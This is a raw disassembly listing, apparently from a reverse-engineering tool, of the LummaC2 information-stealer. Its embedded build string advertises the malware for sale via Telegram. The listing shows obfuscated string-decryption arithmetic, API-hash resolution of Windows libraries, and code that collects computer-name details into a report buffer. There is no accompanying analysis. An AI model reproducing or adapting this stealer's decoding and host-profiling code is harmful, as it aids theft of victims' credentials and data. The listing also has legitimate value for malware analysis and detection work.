mov cl, al
and cl, 0xff
shl cl, 1
mov dl, al
add dl, 0xff
sub dl, cl
mov cl, al
xor cl, 0xff
and dl, cl
or dl, 0x44
mov cl, dl
xor cl, 0xff
xor dl, 0xff
or cl, dl
xor cl, 0xff
or cl, 0
and cl, 0xff
xor cl, 0xff
xor al, 0xff
xor al, 0xff
or al, 0xbb
xor al, 0xff
and al, 0xff
mov dl, al
xor dl, 0xff
mov ah, cl
and ah, dl
mov dl, cl
xor dl, al
add cl, dl
sub cl, ah
xor cl, 0xff
mov byte [0x475968], cl
mov ch, byte [0x47595e]
mov cl, ch
xor cl, 0xff
mov al, ch
xor al, 0xff
and cl, al
or cl, 0x42
xor cl, 0xff
mov al, ch
or al, 0xbd
xor al, 0xff
xor cl, 0xff
xor al, 0xff
and cl, al
xor cl, 0xff
xor cl, 0xff
xor cl, 0xbd
and cl, 0xbd
mov al, cl
xor al, 0xff
mov dl, al
and dl, 2
or al, 2
xor al, 0xff
mul dl
mov dl, al
mov dh, cl
and dh, 2
or cl, 2
mov al, cl
mul dh
add al, dl
sub al, 0xbd
sub ch, al
mov byte [0x475969], ch
mov al, byte [0x47595f]
xor al, 3
mov byte [0x47596a], al
mov al, byte [0x475960]
mov cl, al
xor cl, 0x3a
xor cl, 0xff
and cl, 0x3a
shl cl, 1
sub cl, 0x3a
sub al, cl
mov byte [0x47596b], al
mov al, byte [0x475961]
mov cl, al
xor cl, 0xff
and cl, 0xcd
and al, 0x32
or cl, al
xor cl, 0x91
mov byte [0x47596c], cl
mov al, byte [0x475962]
xor al, 0x60
mov byte [0x47596d], al
mov al, byte [0x47596e]
mov cl, al
and cl, 0x87
shl cl, 1
mov dl, al
and dl, 0x87
or al, 0x87
add dl, al
sub dl, cl
mov byte [0x47597d], dl
mov al, byte [0x47596f]
mov dl, al
xor dl, 0xff
mov cl, dl
xor cl, 0xff
xor dl, 0xff
and cl, dl
or cl, 0x9d
xor cl, 0xff
mov dl, al
xor dl, 0x9d
xor dl, 0xff
or al, 0x9d
and al, dl
mov dl, cl
xor dl, 0xff
mov ah, al
xor ah, 0xff
and dl, ah
xor cl, 0xff
xor al, 0xff
and cl, al
or dl, cl
xor dl, 0xff
xor dl, 0xda
mov byte [0x47597e], dl
mov al, byte [0x475970]
xor al, 0xaa
mov byte [0x47597f], al
mov al, byte [0x475971]
xor al, 0x39
mov byte [0x475980], al
mov al, byte [0x475972]
mov cl, al
or cl, cl
xor cl, 0xff
or cl, 0x27
xor cl, 0xff
xor al, 0xff
and al, 0x27
or cl, al
xor cl, 0xff
mov byte [0x475981], cl
mov al, byte [0x475973]
mov cl, al
xor cl, 0xe4
xor cl, 0xff
and cl, 0xe4
shl cl, 1
sub cl, 0xe4
sub al, cl
mov byte [0x475982], al
mov al, byte [0x475974]
mov cl, al
and cl, 0x1b
shl cl, 1
add al, 0x1b
sub al, cl
mov byte [0x475983], al
mov al, byte [0x475975]
mov cl, al
xor cl, 0xff
and cl, 0x37
and al, 0xc8
or cl, al
mov byte [0x475984], cl
mov al, byte [0x475976]
mov cl, al
xor cl, 0xff
and cl, 0x67
and al, 0x98
or cl, al
mov byte [0x475985], cl
mov al, byte [str.Tw_]
mov cl, al
xor cl, 0xff
and cl, 0x67
and al, 0x98
or cl, al
xor cl, 0x5a
mov byte [0x475986], cl
mov al, byte [0x475978]
mov cl, al
xor cl, 0xff
and cl, 0x18
mov dl, al
and dl, 0xe7
or cl, dl
xor cl, 0xff
and cl, 0xff
or cl, 0
and cl, 0x18
shl cl, 1
sub cl, 0x18
mov dl, al
xor dl, cl
xor cl, 0xff
and al, cl
shl al, 1
sub al, dl
mov byte [0x475987], al
mov al, byte [0x475979]
xor al, 0xa5
mov byte [0x475988], al
mov ch, byte [0x47597a]
mov cl, ch
xor cl, 0x81
xor cl, 0xff
and cl, 0x81
mov al, cl
xor al, 0xff
mov dl, al
and dl, 2
or al, 2
xor al, 0xff
mul dl
mov dl, al
mov dh, cl
and dh, 2
or cl, 2
mov al, cl
mul dh
add al, dl
add al, 0x7f
sub ch, al
mov byte [0x475989], ch
mov al, byte [0x47597b]
mov dl, al
or dl, dl
xor dl, 0xff
mov cl, dl
xor cl, 0xff
and cl, 0x4a
and dl, 0xb5
or cl, dl
xor cl, 0xb5
and cl, 0xd
mov dl, al
and dl, 0xf2
mov ah, al
xor ah, 0xd
add al, ah
sub al, dl
xor al, 0xff
mov dl, cl
xor dl, 0xff
xor cl, 0xff
or dl, cl
xor dl, 0xff
or dl, 0
and dl, 0xff
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x47598a], dl
mov cl, byte [0x47597c]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
or al, dl
xor al, 0xff
or al, 0x42
xor cl, 0xff
or cl, 0xbd
and al, cl
xor al, 0xff
mov byte [0x47598b], al
mov al, byte [0x47599e]
mov cl, al
xor cl, 0xff
and cl, 0x89
and al, 0x76
or cl, al
mov byte [0x4759a5], cl
mov al, byte [0x47599f]
xor al, 0x9d
mov byte [0x4759a6], al
mov al, byte [0x4759a0]
xor al, 0x94
mov byte [0x4759a7], al
mov al, byte [0x4759a1]
mov cl, al
xor cl, 0xff
and cl, 0xc2
and al, 0x3d
or cl, al
xor cl, 0x5f
mov byte [0x4759a8], cl
mov al, byte [0x4759a2]
xor al, 0x41
mov byte [0x4759a9], al
mov al, byte [0x4759a3]
mov dl, al
xor dl, 0xff
mov ah, al
xor ah, 0xff
and ah, 0xfd
mov cl, al
and cl, 2
or ah, cl
xor ah, 2
mov cl, dl
xor cl, 0xff
mov ch, ah
xor ch, 0xff
and cl, ch
xor dl, 0xff
xor ah, 0xff
and dl, ah
xor cl, 0xff
xor dl, 0xff
and cl, dl
and cl, 0xd4
xor cl, 0xff
and al, 0x2b
mov dl, al
xor dl, 0xff
xor al, 0xff
and dl, al
xor dl, 0xff
and dl, 0xff
or dl, 0
xor dl, 0xff
and cl, dl
xor cl, 0xff
mov byte [0x4759aa], cl
mov al, byte [0x4759a4]
xor al, 0xb
mov byte [0x4759ab], al
mov al, byte [0x4759e5]
mov dl, al
and dl, dl
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
mov cl, dl
xor cl, 0xff
or cl, 3
and dl, 0xfc
xor dl, 0xff
and cl, dl
xor cl, 0xff
mov dl, al
xor dl, 0xff
or dl, 0xfc
and al, 3
xor al, 0xff
xor dl, 0xff
xor al, 0xff
or dl, al
or cl, dl
mov byte [0x4759f3], cl
mov al, byte [0x4759e6]
xor al, 0xa5
mov byte [0x4759f4], al
mov cl, byte [0x4759e7]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
or al, dl
and al, 0xe0
xor al, 0xff
xor cl, 0xff
or cl, 0xe0
and al, cl
xor al, 0xff
mov byte [0x4759f5], al
mov al, byte [0x4759e8]
mov cl, al
xor cl, 0xff
mov dl, al
xor dl, 0xff
and cl, dl
mov dl, al
xor dl, 0xff
mov ah, al
xor ah, 0xff
and dl, ah
or cl, dl
xor cl, 0xff
xor cl, 0xff
xor cl, 0xff
and cl, 0x9d
xor al, 0xff
and al, 0x62
mov dl, cl
and dl, 0xff
shl dl, 1
add cl, 0xff
sub cl, dl
mov dl, al
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
shl dl, 1
sub dl, 0xff
sub al, dl
and cl, al
mov byte [0x4759f6], cl
mov al, byte [0x4759e9]
xor al, 0xc1
mov byte [0x4759f7], al
mov al, byte [0x4759ea]
mov cl, al
and cl, cl
xor cl, 0xff
xor cl, 0xff
or cl, 0xdd
and al, 0xdd
xor al, 0xff
and cl, al
xor cl, 0xff
mov byte [0x4759f8], cl
mov al, byte [0x4759eb]
xor al, 0xf6
mov byte [str.RuU], al
mov al, byte [0x4759ec]
mov cl, al
xor cl, 0xff
and cl, 0x19
mov dl, al
and dl, 0xe6
or cl, dl
xor cl, 0xc5
xor cl, 0xff
and cl, 0xdc
shl cl, 1
add cl, 0x1f
sub cl, 0xdc
sub cl, 0x1f
xor edx, edx
sub dl, cl
add al, dl
mov byte [0x4759fa], al
mov cl, byte [0x4759ed]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
and al, dl
or al, 0
xor al, 0xff
xor al, 0xff
and al, 0xff
and al, 0x98
and cl, 0x67
or al, cl
xor al, 0x7a
mov byte [0x4759fb], al
mov al, byte [0x4759ee]
mov cl, al
xor cl, 0xff
and cl, 0xff
or cl, 0
and cl, 0xd1
and al, 0x2e
or cl, al
mov byte [0x4759fc], cl
mov cl, byte [0x4759ef]
mov al, cl
xor al, 0xff
and al, 6
mov dl, cl
add dl, 1
xor cl, 0xff
or cl, 0xf9
add cl, dl
mov dl, cl
xor dl, 0xff
mov ah, al
and ah, dl
mov dl, al
xor dl, cl
add al, dl
sub al, ah
mov cl, al
or cl, cl
xor cl, 0xff
or cl, 0xa5
xor cl, 0xff
or al, 0x5a
xor al, 0xff
xor cl, 0xff
xor al, 0xff
and cl, al
mov byte [0x4759fd], cl
mov al, byte [0x4759f0]
mov cl, al
and cl, 0xc5
shl cl, 1
add al, 0xc5
sub al, cl
mov byte [0x4759fe], al
mov cl, byte [0x4759f1]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
and al, dl
xor al, 0xff
and al, 0xc5
or cl, 0xc5
xor cl, 0xff
or al, cl
xor al, 0xff
mov byte [0x4759ff], al
mov al, byte [0x4759f2]
xor al, 0xdd
mov byte [0x475a00], al
mov al, byte [0x4758c4]
mov cl, al
and cl, cl
xor cl, 0xff
and cl, 0xc7
xor cl, 0xff
xor al, 0xff
or al, 0xc7
xor cl, 0xff
xor al, 0xff
or cl, al
mov byte [0x4758d1], cl
mov al, byte [0x4758c5]
mov cl, al
and cl, 0xf1
shl cl, 1
sub al, 5
add al, 0xf1
add al, 5
mov dl, al
xor dl, cl
xor cl, 0xff
and al, cl
shl al, 1
sub al, dl
mov byte [0x4758d2], al
mov al, byte [str.Yrizv]
xor al, 0x1a
mov byte [0x4758d3], al
mov al, byte [0x4758c7]
mov cl, al
and cl, cl
xor cl, 0xff
and cl, 0x22
xor cl, 0xff
and al, 0xdd
xor al, 0xff
and cl, al
xor cl, 0xff
mov byte [0x4758d4], cl
mov ch, byte [0x4758c8]
mov cl, ch
and cl, cl
xor cl, 0xff
xor cl, 0xff
or cl, 0xc3
mov al, ch
xor al, 0xff
or al, 0x3c
and cl, al
xor cl, 0xff
mov al, cl
and al, 0xff
shl al, 1
add cl, 0xff
sub cl, al
and cl, 0x3c
mov al, cl
xor al, 0xff
mov dl, al
and dl, 2
or al, 2
xor al, 0xff
mul dl
mov dl, al
mov dh, cl
and dh, 2
or cl, 2
mov al, cl
mul dh
add al, dl
sub al, 0x3c
sub ch, al
mov byte [0x4758d5], ch
mov al, byte [0x4758c9]
xor al, 0x5a
mov byte [0x4758d6], al
mov al, byte [0x4758ca]
mov cl, al
xor cl, 0x38
mov dl, cl
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
shl dl, 1
sub dl, 0xff
sub cl, dl
and cl, 0x38
shl cl, 1
sub cl, 0x38
sub al, cl
mov byte [0x4758d7], al
mov al, byte [0x4758cb]
xor al, 0x87
mov byte [0x4758d8], al
mov al, byte [0x4758cc]
xor al, 0x90
mov byte [0x4758d9], al
mov al, byte [0x4758cd]
xor al, 0x84
mov byte [0x4758da], al
mov al, byte [0x4758ce]
mov cl, al
or cl, cl
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
or cl, 0
xor cl, 0xff
or cl, cl
xor cl, 0xff
xor cl, 0xff
and cl, 0x3d
mov dl, al
xor dl, 0xc2
xor dl, 0xff
or al, 0xc2
and al, dl
or cl, al
mov byte [0x4758db], cl
mov al, byte [0x4758cf]
mov cl, al
xor cl, 0xfa
xor cl, 0xff
and cl, 0xfa
shl cl, 1
sub cl, 0xfa
sub al, cl
mov byte [0x4758dc], al
mov al, byte [0x4758d0]
xor al, 0xfb
mov byte [0x4758dd], al
mov eax, dword [0x4758a4]
xor eax, 0xd890960e
mov dword [0x4758b4], eax
mov ecx, dword [0x4758a8]
mov eax, ecx
or eax, eax
xor eax, 0xffffffff
mov edx, ecx
xor edx, 0xffffffff
mov edi, ecx
xor edi, 0xffffffff
and edx, edi
or eax, edx
xor eax, 0xffffffff
mov edx, eax
xor edx, 0xffffffff
xor edx, 0xffffffff
and edx, 0xffffffff
shl edx, 1
sub edx, 0xffffffff
sub eax, edx
xor eax, 0xffffffff
and eax, 0xf530a2fc
mov edx, ecx
and edx, 0xf530a2fc
xor edx, 0xffffffff
add ecx, 0xf530a2fc
add ecx, 1
add ecx, edx
xor ecx, 0xffffffff
and eax, eax
xor eax, 0xffffffff
xor eax, 0xffffffff
or eax, 0
xor eax, 0xffffffff
or eax, 0
xor ecx, 0xffffffff
xor ecx, 0xffffffff
mov edx, eax
xor edx, ecx
and edx, eax
mov dword [0x4758b8], edx
mov ecx, dword [0x4758ac]
mov eax, ecx
or eax, eax
xor eax, 0xffffffff
or eax, 0x44b5418e
xor eax, 0xffffffff
xor ecx, 0xffffffff
and ecx, 0x44b5418e
or eax, ecx
xor eax, 0xffffffff
mov dword [0x4758bc], eax
mov eax, dword [0x4758b0]
xor eax, 0x2bbc66c6
mov dword [0x4758c0], eax
mov al, byte [0x4759b0]
and al, 0xff
add al, 0
add al, 1
add al, 0xff
mov byte [0x4759d0], al
mov cl, byte [0x4759b1]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
and al, dl
or al, 0
xor al, 0xff
or al, 0
xor al, 0xff
and al, 0x4a
mov dl, cl
and dl, 0xb5
xor dl, 0xff
xor cl, 0xff
or cl, 0x4a
xor dl, 0xff
xor cl, 0xff
or dl, cl
or al, dl
xor al, 0x78
mov byte [0x4759d1], al
mov al, byte [0x4759b2]
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
mov dl, al
sub dl, cl
mov cl, dl
and cl, 0x98
xor cl, 0xff
xor dl, 0xff
or dl, 0x67
and cl, dl
xor cl, 0xff
mov dl, al
xor dl, 0x98
and dl, al
mov al, cl
and al, dl
xor cl, dl
or al, cl
xor al, 0x70
mov byte [0x4759d2], al
mov al, byte [0x4759b3]
xor al, 0x45
mov byte [0x4759d3], al
mov al, byte [0x4759b4]
mov cl, al
xor cl, 0xff
xor cl, 0xff
xor cl, 0xde
and cl, 0xde
and al, 0x21
mov dl, cl
xor dl, 0xff
xor cl, 0xff
or dl, cl
and al, al
xor al, 0xff
and dl, al
xor dl, 0xff
mov byte [0x4759d4], dl
mov al, byte [0x4759b5]
xor al, 0x49
mov byte [0x4759d5], al
mov al, byte [0x4759b6]
xor al, 0xfc
mov byte [0x4759d6], al
mov al, byte [0x4759b7]
mov cl, al
xor cl, 0xff
and cl, 0x9c
and al, 0x63
or cl, al
mov byte [0x4759d7], cl
mov cl, byte [0x4759b8]
mov al, cl
xor al, 0xff
and al, 0x3a
and cl, 0xc5
mov dl, al
xor dl, 0xff
mov ah, cl
xor ah, 0xff
and dl, ah
or al, cl
xor al, 0xff
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x4759d8], dl
mov al, byte [0x4759b9]
xor al, 4
mov byte [0x4759d9], al
mov al, byte [0x4759ba]
xor al, 0xbd
mov byte [0x4759da], al
mov al, byte [0x4759bb]
mov cl, al
xor cl, 0xff
mov dl, al
xor dl, 0xff
and cl, dl
or cl, 0xa3
xor cl, 0xff
mov dl, al
or dl, 0x5c
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
and cl, dl
xor cl, 0xff
and cl, 0x5c
shl cl, 1
mov dl, cl
xor dl, 0x5c
and cl, 0xa3
shl cl, 1
sub cl, dl
sub al, cl
mov byte [0x4759db], al
mov ch, byte [0x4759bc]
mov cl, ch
and cl, 0xd9
mov al, cl
xor al, 0xff
mov dl, al
and dl, 2
or al, 2
xor al, 0xff
mul dl
mov dl, al
mov dh, cl
and dh, 2
or cl, 2
mov al, cl
mul dh
add al, dl
add ch, 0xd9
sub ch, al
mov byte [0x4759dc], ch
mov al, byte [0x4759bd]
xor al, 0x8d
mov byte [str.uGO], al
mov al, byte [0x4759be]
xor al, 0xaa
mov byte [0x4759de], al
mov al, byte [0x4759bf]
xor al, 0xe0
mov byte [0x4759df], al
mov al, byte [0x4759c0]
xor al, 0xf8
mov byte [0x4759e0], al
mov cl, byte [0x4759c1]
mov al, cl
and al, al
xor al, 0xff
xor al, 0xff
or al, 0
and al, 0xff
xor al, 0xff
and al, 0x2a
and cl, 0xd5
mov dl, al
xor dl, 0xff
mov ah, cl
xor ah, 0xff
and dl, ah
xor al, 0xff
xor cl, 0xff
and al, cl
or dl, al
xor dl, 0xff
mov byte [0x4759e1], dl
mov al, byte [0x4759c2]
mov cl, al
and cl, 0x9e
shl cl, 1
add al, 0x9e
sub al, cl
mov byte [0x4759e2], al
mov al, byte [0x4759c3]
xor al, 0x75
mov byte [0x4759e3], al
mov al, byte [0x4759c4]
xor al, 0x7e
mov byte [0x4759e4], al
mov al, byte [0x475a01]
mov cl, al
or cl, cl
or cl, cl
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
xor cl, 0xff
and cl, 0xff
xor cl, 0xff
and cl, 0xa3
xor al, 0xff
and al, 0x5c
mov dl, cl
xor dl, 0xff
and dl, 0x9a
and cl, 0x65
or dl, cl
xor dl, 0x65
xor al, 0xff
mov cl, dl
add cl, 1
xor dl, 0xff
or dl, al
add dl, cl
mov byte [0x475a0a], dl
mov al, byte [0x475a02]
xor al, 0xa
mov byte [0x475a0b], al
mov al, byte [0x475a03]
mov cl, al
xor cl, 0xff
and cl, 0xe
and al, 0xf1
or cl, al
xor cl, 0x72
mov byte [0x475a0c], cl
mov al, byte [0x475a04]
xor al, 0x75
mov byte [0x475a0d], al
mov al, byte [0x475a05]
xor al, 0xbc
mov byte [0x475a0e], al
mov al, byte [0x475a06]
mov cl, al
xor cl, 0xff
or cl, 0xd3
mov dl, al
and dl, 0x2c
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
or cl, dl
shl cl, 1
mov dl, al
and dl, 0x2c
shl dl, 1
xor al, 0x2c
add al, dl
sub al, cl
mov byte [0x475a0f], al
mov cl, byte [0x475a07]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
and al, dl
xor al, 0xff
and al, 0xff
xor al, 0xff
and al, 0xff
and al, 0xbe
and cl, 0x41
or al, cl
xor al, 0x9a
mov byte [0x475a10], al
mov cl, byte [0x475a08]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
and dl, 0xff
or dl, 0
mov ah, dl
xor ah, 0xff
mov ch, al
and ch, ah
mov ah, al
xor ah, dl
add al, ah
sub al, ch
and al, 0x1d
xor al, 0xff
and al, 0xff
or al, 0
xor cl, 0xff
or cl, 0x1d
xor cl, 0xff
mov dl, al
xor dl, cl
and dl, al
xor dl, 0xff
and dl, 0xff
or dl, 0
mov byte [0x475a11], dl
mov dl, byte [0x475a09]
mov cl, dl
xor cl, 0xff
and cl, 0x3e
mov al, dl
and al, 0xc1
or cl, al
xor cl, 0xc1
mov al, dl
xor al, 0xff
or cl, al
mov al, cl
xor al, 0x16
and al, cl
xor al, 0xff
xor dl, 0xff
mov cl, dl
and cl, 0xe9
xor dl, 0xe9
or cl, dl
xor al, 0xff
and al, 0xff
or al, 0
or cl, cl
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
or cl, 0
xor cl, 0xff
mov dl, cl
and dl, al
xor dl, 0xff
add al, cl
add al, 1
add al, dl
mov byte [0x475a12], al
mov eax, dword [ebp + 8]
jmp 0x44bbf0
jmp 0x44bbf2
mov dword [0x476680], 1
push eax
mov ecx, esp
mov dword [esi + 0xbc], ecx
push eax
mov edi, esp
mov dword [esi + 0x30], edi
push eax
mov ebx, esp
mov dword [esi + 0x2c], ebx
push eax
mov dword [esi + 0x14], esp
push eax
mov dword [esi + 0x18], esp
push eax
mov dword [esi + 4], esp
push eax
mov dword [esi + 0x34], esp
push eax
mov dword [esi + 0x3c], esp
push eax
mov dword [esi + 0x38], esp
sub esp, 8
mov dword [esi + 0x40], esp
push eax
mov dword [esi + 0x48], esp
push eax
mov dword [esi + 0x44], esp
sub esp, 0xc
mov dword [esi + 0x4c], esp
sub esp, 0x100
mov dword [esi + 0x54], esp
push eax
mov dword [esi + 0xc], esp
sub esp, 0xc
mov dword [esi + 0x50], esp
sub esp, 0x100
mov dword [esi + 0x58], esp
sub esp, 0x10
mov dword [esi + 0x5c], esp
sub esp, 0x100
mov dword [esi + 0x60], esp
sub esp, 0x1c
mov dword [esi + 0x64], esp
sub esp, 0x100
mov dword [esi + 0x68], esp
sub esp, 0x18
mov dword [esi + 0x6c], esp
sub esp, 0x10
mov dword [esi + 0x74], esp
push eax
mov dword [esi + 0x70], esp
push eax
mov dword [esi + 0x1c], esp
sub esp, 0x10
mov dword [esi + 0x78], esp
sub esp, 0xc
mov dword [esi + 0x20], esp
sub esp, 0x200
mov dword [esi + 0x7c], esp
sub esp, 0x18
mov dword [esi + 0x80], esp
push eax
mov dword [esi + 0x88], esp
push eax
mov dword [esi + 0x84], esp
push eax
mov dword [esi + 0x8c], esp
sub esp, 0x10
mov dword [esi + 0x90], esp
sub esp, 0x10
mov dword [esi + 0x94], esp
push eax
mov dword [esi + 0x10], esp
sub esp, 0x10
mov dword [esi + 0x98], esp
sub esp, 0x1a8
mov dword [esi + 0x9c], esp
push eax
mov dword [esi + 0xa0], esp
sub esp, 8
mov dword [esi + 0xa4], esp
sub esp, 8
mov edx, esp
and edx, 0xfffffff8
mov dword [esi + 0xa8], edx
mov esp, edx
push eax
mov dword [esi + 0xac], esp
push eax
mov dword [esi + 0x24], esp
sub esp, 0x20
mov dword [esi + 0xb0], esp
push eax
mov dword [esi + 0xb4], esp
sub esp, 0x18
mov dword [esi + 0xb8], esp
mov dword [ecx], eax
sub esp, 8
mov dword [esp + 4], str.user32.dll
mov dword [esp], 0x3d95e230
call fcn.0044cd40
add esp, 4
mov dword [esp], 0
call eax
mov dword [edi], eax
sub esp, 8
mov dword [esp + 4], str.user32.dll
mov dword [esp], 0x3d95e230
call fcn.0044cd40
add esp, 4
mov dword [esp], 1
call eax
mov dword [ebx], eax
sub esp, 8
mov dword [esp + 4], 1
mov dword [esp], 0x20
call fcn.004551e7
add esp, 8
mov edi, dword [esi + 0x14]
mov dword [edi], eax
sub esp, 8
mov dword [esp + 4], 1
mov dword [esp], 0x20
call fcn.004551e7
add esp, 8
mov ebx, dword [esi + 0x18]
mov dword [ebx], eax
mov eax, dword [edi]
mov ecx, dword [esi + 0x30]
mov ecx, dword [ecx]
sub esp, 0xc
mov dword [esp + 4], eax
mov dword [esp], ecx
mov dword [esp + 8], 0xa
call fcn.004546a4
add esp, 0xc
mov eax, dword [ebx]
mov ecx, dword [esi + 0x2c]
mov ecx, dword [ecx]
sub esp, 0xc
mov dword [esp + 4], eax
mov dword [esp], ecx
mov dword [esp + 8], 0xa
call fcn.004546a4
add esp, 4
mov dword [esp + 4], 1
mov dword [esp], 0x4000
call fcn.004551e7
add esp, 8
mov edi, dword [esi + 4]
mov dword [edi], eax
mov eax, dword [edi]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], str.LummaC2__Build_Nov_28_2023__Buy_now:_TG__lummanowork_n
call fcn.00455a00
add esp, 4
mov dword [esp], str.41f77d2b0dbe39030d82104620d7346f68cd5d
call fcn.004447b0
add esp, 4
mov ecx, dword [esi + 0x34]
mov dword [ecx], eax
mov eax, dword [ecx]
mov ebx, ecx
mov ecx, dword [edi]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00455a00
add esp, 8
mov eax, dword [ebx]
sub esp, 4
mov dword [esp], eax
call fcn.00455635
add esp, 4
mov eax, dword [edi]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], str.NmLpQW__seo
call fcn.00455a00
add esp, 8
mov eax, dword [edi]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x469b25
call fcn.00455a00
mov dword [esp + 4], 1
mov dword [esp], 0x8000
call fcn.004551e7
add esp, 8
mov edi, dword [esi + 0x3c]
mov dword [edi], eax
mov ebx, dword [esi + 0x38]
mov dword [ebx], 0x8000
sub esp, 8
mov dword [esp + 4], str.kernel32.dll
mov dword [esp], 0xa2f80070
call fcn.0044cd40
add esp, 8
mov ecx, dword [edi]
sub esp, 8
mov dword [esp + 4], ebx
mov dword [esp], ecx
call eax
mov eax, dword [0x4759a8]
mov ecx, dword [esi + 0x40]
mov dword [ecx + 3], eax
mov eax, dword [0x4759a5]
mov dword [ecx], eax
mov ebx, dword [esi + 4]
mov eax, dword [ebx]
sub esp, 8
mov dword [esp + 4], ecx
mov dword [esp], eax
call fcn.00455a00
add esp, 8
mov eax, dword [edi]
mov ecx, dword [ebx]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00455a00
add esp, 8
mov eax, dword [ebx]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x46800c
call fcn.00455a00
mov dword [esp + 4], 1
mov dword [esp], 0x8000
call fcn.004551e7
add esp, 8
mov edi, dword [esi + 0x48]
mov dword [edi], eax
mov ebx, dword [esi + 0x44]
mov dword [ebx], 0x8000
sub esp, 8
mov dword [esp + 4], 0x469b28
mov dword [esp], 0x23fef64a
call fcn.0044cd40
add esp, 8
mov ecx, dword [edi]
sub esp, 8
mov dword [esp + 4], ebx
mov dword [esp], ecx
call eax
mov al, byte [0x475a12]
mov ecx, dword [esi + 0x4c]
mov byte [ecx + 8], al
mov eax, dword [0x475a0e]
mov dword [ecx + 4], eax
mov eax, dword [0x475a0a]
mov dword [ecx], eax
mov ebx, dword [esi + 4]
mov eax, dword [ebx]
sub esp, 8
mov dword [esp + 4], ecx
mov dword [esp], eax
call fcn.00455a00
add esp, 8
mov eax, dword [edi]
mov ecx, dword [ebx]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00455a00
add esp, 8
mov eax, dword [ebx]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x46800c
call fcn.00455a00
add esp, 8
mov eax, dword [esi + 0xc]
mov dword [eax], 0x100
sub esp, 0xc
mov dword [esp + 8], eax
mov edi, dword [esi + 0x54]
mov dword [esp + 4], edi
mov dword [esp], 2
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
mov eax, dword [0x47596a]
mov ecx, dword [esi + 0x50]
mov dword [ecx + 7], eax
mov eax, dword [0x475967]
mov dword [ecx + 4], eax
mov eax, dword [0x475963]
mov dword [ecx], eax
mov eax, dword [ebx]
sub esp, 8
mov dword [esp + 4], ecx
mov dword [esp], eax
call fcn.00455a00
add esp, 8
mov eax, dword [ebx]
sub esp, 8
mov dword [esp + 4], edi
mov dword [esp], eax
call fcn.00455a00
add esp, 8
mov eax, dword [ebx]
mov edi, ebx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x46800c
call fcn.00455a00
add esp, 8
mov eax, dword [esi + 0xc]
mov dword [eax], 0x100
sub esp, 0xc
mov dword [esp + 8], eax
mov ebx, dword [esi + 0x58]
mov dword [esp + 4], ebx
mov dword [esp], 4
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
mov ax, word [0x4759ff]
mov ecx, dword [esi + 0x5c]
mov word [ecx + 0xc], ax
mov eax, dword [0x4759fb]
mov dword [ecx + 8], eax
mov eax, dword [0x4759f7]
mov dword [ecx + 4], eax
mov eax, dword [0x4759f3]
mov dword [ecx], eax
mov eax, dword [edi]
sub esp, 8
mov dword [esp + 4], ecx
mov dword [esp], eax
call fcn.00455a00
add esp, 8
mov eax, dword [edi]
sub esp, 8
mov dword [esp + 4], ebx
mov dword [esp], eax
call fcn.00455a00
add esp, 8
mov eax, dword [edi]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x46800c
call fcn.00455a00
add esp, 8
mov eax, dword [esi + 0xc]
mov dword [eax], 0x100
sub esp, 0xc
mov dword [esp + 8], eax
mov ebx, dword [esi + 0x60]
mov dword [esp + 4], ebx
mov dword [esp], 4
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
mov eax, dword [0x475918]
mov ecx, dword [esi + 0x64]
mov dword [ecx + 0x18], eax
mov eax, dword [0x475914]
mov dword [ecx + 0x14], eax
mov eax, dword [0x475910]
mov dword [ecx + 0x10], eax
mov eax, dword [0x47590c]
mov dword [ecx + 0xc], eax
mov eax, dword [0x475908]
mov dword [ecx + 8], eax
mov eax, dword [0x475904]
mov dword [ecx + 4], eax
mov eax, dword [0x475900]
mov dword [ecx], eax
mov eax, dword [edi]
sub esp, 8
mov dword [esp + 4], ecx
mov dword [esp], eax
call fcn.00455a00
add esp, 8
mov eax, dword [edi]
sub esp, 8
mov dword [esp + 4], ebx
mov dword [esp], eax
call fcn.00455a00
add esp, 8
mov eax, dword [edi]
mov ebx, edi
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x46800c
call fcn.00455a00
add esp, 8
mov eax, dword [esi + 0xc]
mov dword [eax], 0x100
sub esp, 0xc
mov dword [esp + 8], eax
mov edi, dword [esi + 0x68]
mov dword [esp + 4], edi
mov dword [esp], 4
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
mov eax, dword [0x475954]
mov ecx, dword [esi + 0x6c]
mov dword [ecx + 0x14], eax
mov eax, dword [0x475950]
mov dword [ecx + 0x10], eax
mov eax, dword [0x47594c]
mov dword [ecx + 0xc], eax
mov eax, dword [0x475948]
mov dword [ecx + 8], eax
mov eax, dword [0x475944]
mov dword [ecx + 4], eax
mov eax, dword [0x475940]
mov dword [ecx], eax
